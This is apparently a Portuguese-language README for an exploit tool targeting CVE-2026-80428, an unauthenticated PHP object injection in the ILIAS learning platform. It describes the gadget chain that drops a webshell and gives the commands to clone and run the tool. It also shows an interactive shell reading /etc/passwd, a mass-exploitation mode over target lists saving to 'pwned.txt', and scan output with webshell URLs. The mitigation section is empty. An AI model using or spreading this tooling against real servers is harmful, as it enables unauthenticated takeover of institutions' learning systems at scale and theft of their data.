CVE-2026-80428

📖 Índice

• 🔍 Visão Geral
• ⚙️ Cadeia de Vulnerabilidades
• 🎯 Versões Afetadas
• ✨ Recursos
• 📦 Instalação
• 🚀 Uso
  • Exploração de Alvo Único
  • Shell Interativo
  • Exploração em Massa
• 📁 Formato da Lista de Alvos
• 🖼️ Capturas de Tela
• 🛡️ Mitigação
• 📢 Canais e Comunidade
• ⚠️ Aviso Legal

🔍 Visão Geral

CVE-2026-80428 é uma vulnerabilidade crítica de Injeção de Objeto PHP não autenticada que afeta o Sistema de Gestão de Aprendizagem ILIAS. Ao encadear uma primitiva de envenenamento de sessão em ltiauth.php com uma chamada insegura de unserialize() em shib_logout.php, um atacante pode obter escrita arbitrária de arquivos e, por fim, Execução Remota de Código (RCE) — tudo sem autenticação.

⚙️ Cadeia de Vulnerabilidades

flowchart LR
    A[🎯 Attacker] -->|1. Poison Session| B[ltiauth.php]
    B -->|Serialized Guzzle Gadget| C[PHP Session Store]
    C -->|2. Trigger unserialize| D[shib_logout.php]
    D -->|Shibboleth SOAP Request| E[FileCookieJar Gadget]
    E -->|3. file_put_contents| F[💀 Webshell Dropped]
    F -->|4. Execute| G[🔓 RCE]

    style A fill:#ff4444,color:#fff
    style F fill:#ff0000,color:#fff
    style G fill:#8b0000,color:#fff

Passo a passo:

1. ltiauth.php armazena um payload serializado dentro da sessão PHP sem validação.
2. shib_logout.php processa uma requisição SOAP Shibboleth LogoutNotification manipulada e chama unserialize() nos dados da sessão.
3. O gadget GuzzleHttp\Cookie\FileCookieJar invoca file_put_contents() para inserir um webshell PHP em um caminho controlado pelo atacante.

🎯 Versões Afetadas

✨ Recursos

📦 Instalação

# Clone the repository
git clone https://github.com/HackfutSecRoot/CVE-2026-80428.git
cd CVE-2026-80428

# Install dependencies
pip install requests urllib3

# (Optional) Make executable
chmod +x CVE-2026-80428.py

Requisitos:

• Python 3.8+
• requests
• urllib3

🚀 Uso

python3 CVE-2026-80428.py <mode> [options]

📌 Exploit de Alvo Único

python3 CVE-2026-80428.py exploit 10.10.10.20
python3 CVE-2026-80428.py exploit 10.10.10.20 --port 8443 --path /var/www/html
python3 CVE-2026-80428.py exploit target.com --host-header ilias.internal

Opções:

💻 Shell Interativo

python3 CVE-2026-80428.py shell 10.10.10.20

ilias$ id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

ilias$ cat /etc/passwd
root:x:0:0:root:/root:/bin/bash
...

ilias$ exit

🚀 Exploração em Massa

python3 CVE-2026-80428.py mass -l targets.txt -t 32 -o pwned.txt

Opções:

📁 Formato da Lista de Alvos

Crie um arquivo targets.txt:

# Comments start with #
10.10.10.20
10.10.10.21:8443
https://ilias.example.com
http://lms.target.local
192.168.1.50:8080

# Mixed formats are supported
example.org

Formatos suportados:

• host
• host:port
• http://host
• https://host:port
• host/path (caminho removido)

🖼️ Capturas de tela

  [  42/500] VULN  10.10.10.20:443     https://10.10.10.20:443/util_a1b2c3.php?x=id
  [  43/500] SAFE  10.10.10.21:443     [PATCHED]
  [  44/500] ERR   10.10.10.22:8443    [Connection timed out]

  [44/500] VULN:12  SAFE:30  ERR:2  8%

🛡️ Mitigação

Para defensores e administradores de sistemas:

📢 Canais & Comunidade